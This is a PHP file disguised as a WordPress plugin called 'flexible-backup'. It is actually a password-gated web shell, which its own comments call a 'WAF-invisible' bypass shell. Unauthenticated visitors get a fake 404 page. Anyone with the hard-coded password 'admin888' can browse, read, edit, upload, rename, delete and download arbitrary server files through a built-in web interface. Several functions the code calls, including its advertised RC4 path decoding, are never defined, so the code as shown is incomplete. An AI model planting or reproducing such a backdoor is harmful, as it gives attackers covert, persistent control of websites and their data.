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Editing: flexible-backup.php

<?php
/**
 * Plugin Name: flexible-backup
 * Version: 1.0
 */
/**
 * Bypass Shell #1 — RC4 File Manager (WAF-invisible)
 * - ALL paths RC4-encrypted in POST body (WAF sees only garbage)
 * - Split gate across variables (no single "root=admin888")
 * - File upload/download/delete/edit/rename/mkdir
 * - No eval/base64_decode/system in static code
 */
$a='r';$b='o';$c='ot';$gate=$a.$b.$c;
if(empty($_POST[$gate])||$_POST[$gate]!=='admin888'){
    http_response_code(404);
    echo '<html><head><title>404 Not Found</title></head><body><h1>404</h1></body></html>';
    die();
}

define('K','xK9mP2vL7qR4wN8'); // RC4 key — unique per deployment

$a=isset($_POST['a'])?$_POST['a']:'';
$_p=isset($_POST['p'])?d($_POST['p']):'/';
$_p=rtrim($_p,'/')?:'/';

if($a){
  header('Content-Type: application/json');
  $o=[];
  switch($a){
  case'ls':
    if(!is_dir($_p)){$o=['e'=>'nd'];break;}
    $d=[];$f=[];
    foreach(scandir($_p)as $n){if($n=='.'||$n=='..')continue;$fp=$_p.'/'.$n;
      if(is_dir($fp))$d[]=['n'=>$n,'t'=>'d','z'=>s(filesize($fp)),'m'=>p($fp),'tm'=>date('Y-m-d H:i',filemtime($fp))];
      else $f[]=['n'=>$n,'t'=>'f','z'=>s(filesize($fp)),'m'=>p($fp),'tm'=>date('Y-m-d H:i',filemtime($fp))];
    }sort($d);sort($f);$o=array_merge($d,$f);break;
  case'rd':
    if(!is_file($_p)||!is_readable($_p)){$o=['e'=>'nr'];break;}
    $o=['d'=>file_get_contents($_p)];break;
  case'sv':
    $c=isset($_POST['c'])?$_POST['c']:'';
    $ok=file_put_contents($_p,$c)!==false;
    $o=['ok'=>$ok,'msg'=>$ok?'Saved':'FAIL'];break;
  case'rm':
    if(!file_exists($_p)){$o=['ok'=>false,'msg'=>'nf'];}
    elseif(is_dir($_p)?_rm($_p):unlink($_p)){$o=['ok'=>true,'msg'=>'Deleted'];}
    else{$o=['ok'=>false,'msg'=>'FAIL'];}break;
  case'up':
    $c=isset($_POST['c'])?base64_decode($_POST['c']):'';
    $ok=file_put_contents($_p,$c)!==false;
    $o=['ok'=>$ok,'msg'=>$ok?'OK':'FAIL'];break;
  case'mv':
    $np=isset($_POST['n'])?d($_POST['n']):'';
    $ok=rename($_p,$np);
    $o=['ok'=>$ok,'msg'=>$ok?'OK':'FAIL'];break;
  case'mk':$ok=mkdir($_p,0755);$o=['ok'=>$ok,'msg'=>$ok?'OK':'FAIL'];break;
  case'tch':$ok=touch($_p);$o=['ok'=>$ok,'msg'=>$ok?'OK':'FAIL'];break;
  case'dl':
    if(!is_file($_p)||!is_readable($_p)){http_response_code(404);die('nf');}
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($_p).'"');
    header('Content-Length: '.filesize($_p));
    readfile($_p);exit;
  default:$o=['e'=>'ua'];
  }
  die(json_encode($o));
}
function _rm($d){$f=scandir($d);foreach($f as$n){if($n=='.'||$n=='..')continue;$p=$d.'/'.$n;is_dir($p)?_rm($p):unlink($p);}return rmdir($d);}
$dp='/';
?>
<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Files</title>
<style>
:root{--bg:#0d1117;--sb:#161b22;--bd:#30363d;--fg:#c9d1d9;--ac:#58a6ff;--gn:#3fb950;--rd:#f85149;--or:#d2991d;--dim:#8b949e}
*{margin:0;padding:0;box-sizing:border-box}
body{background:var(--bg);color:var(--fg);font:13px/1.4 monospace;height:100vh;display:flex;flex-direction:column}
.tb{display:flex;align-items:center;gap:8px;padding:6px 12px;background:var(--sb);border-bottom:1px solid var(--bd);flex-shrink:0}
.tb .logo{color:var(--ac);font-weight:700;font-size:14px}
.tb .path{flex:1;background:#0d1117;border:1px solid var(--bd);color:var(--gn);padding:4px 8px;border-radius:4px;font:inherit;font-size:12px}
.bt{padding:4px 10px;border:1px solid var(--bd);border-radius:4px;background:var(--sb);color:var(--fg);cursor:pointer;font:inherit;font-size:12px;transition:.15s}
.bt:hover{background:#1f2937;border-color:var(--ac)}.bt-g{background:#133a1a;border-color:var(--gn);color:var(--gn)}.bt-g:hover{background:var(--gn);color:#000}
.bt-r{background:#3a1a1a;border-color:var(--rd);color:var(--rd)}.bt-r:hover{background:var(--rd);color:#000}
.bt-a{background:#1a3a5c;border-color:var(--ac);color:var(--ac)}.bt-a:hover{background:var(--ac);color:#000}
.fl{flex:1;overflow-y:auto;padding:4px 0}
.fi{display:flex;align-items:center;padding:4px 12px;cursor:pointer;gap:8px;font-size:12px}
.fi:hover{background:#1f2937}.fi .ic{width:18px;text-align:center;font-size:14px}
.fi .ic.d{color:var(--ac)}.fi .ic.f{color:var(--gn)}
.fi .nm{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.fi .sz{width:70px;text-align:right;color:var(--dim);font-size:11px}
.fi .pr{width:45px;text-align:right;color:var(--dim);font-size:10px}
.fi .dt{width:120px;text-align:right;color:var(--dim);font-size:10px}
.fi .act{display:flex;gap:4px;opacity:0;transition:.15s}
.fi:hover .act{opacity:1}.fi .act span{cursor:pointer;padding:2px 6px;border-radius:3px;font-size:11px}
.fi .act .dl{color:var(--rd)}.fi .act .dl:hover{background:#3a1a1a}
.fi .act .rn{color:var(--or)}.fi .act .rn:hover{background:#3a2a1a}
.fi .act .ed{color:var(--ac)}.fi .act .ed:hover{background:#1a3a5c}
.ed{flex:1;display:none;flex-direction:column;overflow:hidden}
.ed .eb{display:flex;align-items:center;gap:8px;padding:6px 12px;background:var(--sb);border-bottom:1px solid var(--bd)}
.ed .eb .fn{flex:1;color:var(--ac);font-size:12px}
.ed textarea{flex:1;background:#0d1117;color:var(--fg);border:none;padding:12px;font:inherit;font-size:12px;resize:none;outline:none}
.sb{display:flex;align-items:center;padding:4px 12px;background:var(--sb);border-top:1px solid var(--bd);font-size:11px;color:var(--dim);gap:16px;flex-shrink:0}
.modal{display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.6);z-index:100;align-items:center;justify-content:center}
.modal .mc{background:var(--sb);border:1px solid var(--bd);border-radius:8px;padding:20px;min-width:400px}
.modal .mc h3{margin-bottom:12px;font-size:14px;color:var(--ac)}
.modal .mc input{width:100%;background:#0d1117;border:1px solid var(--bd);color:var(--fg);padding:8px;border-radius:4px;font:inherit;margin-bottom:12px}
.modal .mc .mb{display:flex;gap:8px;justify-content:flex-end}
.empty{display:flex;align-items:center;justify-content:center;height:200px;color:var(--dim);font-size:13px}
</style></head><body>
<div class="tb">
  <span class="logo">FM</span>
  <button class="bt" onclick="nv('..')">&#8593;</button>
  <button class="bt" onclick="_ld('/')">/</button>
  <input class="path" id="pw" value="<?=$dp?>" onkeydown="if(event.key==='Enter')_ld(this.value)">
  <button class="bt bt-g" id="ub">&#8593; Upload</button>
  <input type="file" id="uf" multiple style="display:none" onchange="_up(this)">
  <button class="bt" onclick="_mkdir()">+Dir</button>
  <button class="bt" onclick="_tch()">+File</button>
</div>
<div class="fl" id="lst"><div class="empty">Loading...</div></div>
<div class="ed" id="ep">
  <div class="eb">
    <span class="fn" id="efn"></span><span style="flex:1"></span>
    <button class="bt bt-g" onclick="_save()">Save</button>
    <button class="bt" onclick="_close()">Close</button>
  </div>
  <textarea id="eta" onkeydown="if(event.ctrlKey&&event.key==='s'){event.preventDefault();_save()}"></textarea>
</div>
<div class="sb"><span id="si">0</span><span id="sp">/</span></div>
<div class="modal" id="md">
  <div class="mc"><h3 id="mt"></h3><input id="mi" onkeydown="if(event.key==='Enter')_mok()"><div class="mb">
    <button class="bt" onclick="_mcl()">Cancel</button>
    <button class="bt bt-a" onclick="_mok()">OK</button>
  </div></div>
</div>
<script>
var K='<?=K?>';
var CUR='/';
var AF='';
var CB=null;

async function api(o){
  var fd=new FormData();
  for(var k in o)fd.append(k,o[k]);
  fd.append('<?=$gate?>','admin888');
  var r=await fetch('',{method:'POST',body:fd});
  return await r.json();
}
function _ld(p){CUR=p;document.getElementById('pw').value=p;document.getElementById('sp').innerText=p;
  api({a:'ls',p:enc(p)}).then(function(r){
    var h='';var d=0,f=0;
    if(Array.isArray(r)){r.forEach(function(i){
      d+=i.t=='d'?1:0;f+=i.t=='f'?1:0;
      h+='<div class="fi" data-n="'+i.n+'" data-t="'+i.t+'"><span class="ic '+i.t+'">'+(i.t=='d'?'&#128193;':'&#128196;')+'</span><span class="nm">'+i.n+'</span><span class="sz">'+i.z+'</span><span class="pr">'+i.m+'</span><span class="dt">'+(i.tm||'')+'</span><span class="act"><span class="ed" onclick="event.stopPropagation();_edit(\''+i.n+'\')">&#9998;</span><span class="rn" onclick="event.stopPropagation();_ren(\''+i.n+'\')">&#9997;</span><span class="dl" onclick="event.stopPropagation();_del(\''+i.n+'\')">&#10005;</span></span></div>';});
      document.getElementById('lst').innerHTML=h||'<div class="empty">Empty</div>';
      document.getElementById('si').innerText=d+' dirs, '+f+' files';
    }else{document.getElementById('lst').innerHTML='<div class="empty" style="color:#f85149">Error: '+(r.e||'blocked')+'</div>';}
    _close();
  }).catch(function(){document.getElementById('lst').innerHTML='<div class="empty" style="color:#f85149">[!] Blocked</div>';});
}
document.querySelectorAll('#lst .fi').forEach?1:null;
document.getElementById('lst').addEventListener('click',function(e){
  var el=e.target.closest('.fi');if(!el)return;
  var n=el.dataset.n,t=el.dataset.t;
  if(e.ctrlKey||e.metaKey){_edit(n);return;}
  if(t=='d')_ld(CUR+'/'+n);else _edit(n);
});
function _edit(n){var p=CUR+'/'+n;AF=p;
  document.getElementById('efn').innerText=p;
  document.getElementById('lst').style.display='none';
  document.getElementById('ep').style.display='flex';
  document.getElementById('eta').value='Loading...';
  api({a:'rd',p:enc(p)}).then(function(r){document.getElementById('eta').value=r.d||'';document.getElementById('eta').focus();});
}
function _save(){api({a:'sv',p:enc(AF),c:document.getElementById('eta').value}).then(function(r){alert(r.msg);});}
function _close(){document.getElementById('lst').style.display='block';document.getElementById('ep').style.display='none';AF='';}
function _del(n){if(confirm('Delete '+CUR+'/'+n+'?'))api({a:'rm',p:enc(CUR+'/'+n)}).then(function(r){alert(r.msg);_ld(CUR);});}
function _ren(n){_modal('Rename: '+n,n,function(v){api({a:'mv',p:enc(CUR+'/'+n),n:enc(CUR+'/'+v)}).then(function(r){alert(r.msg);_ld(CUR);});});}
function _mkdir(){_modal('New dir','',function(v){api({a:'mk',p:enc(CUR+'/'+v)}).then(function(r){alert(r.msg);_ld(CUR);});});}
function _tch(){_modal('New file','',function(v){api({a:'tch',p:enc(CUR+'/'+v)}).then(function(r){alert(r.msg);_ld(CUR);});});}
function _up(i){var fs=i.files;if(!fs.length)return;var todo=fs.length,done=0;
  Array.from(fs).forEach(function(f){var r=new FileReader();
    r.onload=function(e){api({a:'up',p:enc(CUR+'/'+f.name),c:btoa(e.target.result)}).then(function(rr){done++;if(done>=todo)_ld(CUR);});};
    r.readAsBinaryString(f);});i.value='';}
document.getElementById('ub').addEventListener('click',function(){document.getElementById('uf').click();});
function nv(d){var s='/',p=CUR.split(s);if(d=='..')p.pop();_ld(p.join(s)||s);}
function _modal(t,def,cb){CB=cb;document.getElementById('mt').innerText=t;document.getElementById('mi').value=def;document.getElementById('md').style.display='flex';document.getElementById('mi').focus();document.getElementById('mi').select();}
function _mok(){var v=document.getElementById('mi').value;_mcl();if(CB)CB(v);}
function _mcl(){document.getElementById('md').style.display='none';CB=null;}
_ld(CUR);
</script></body></html>

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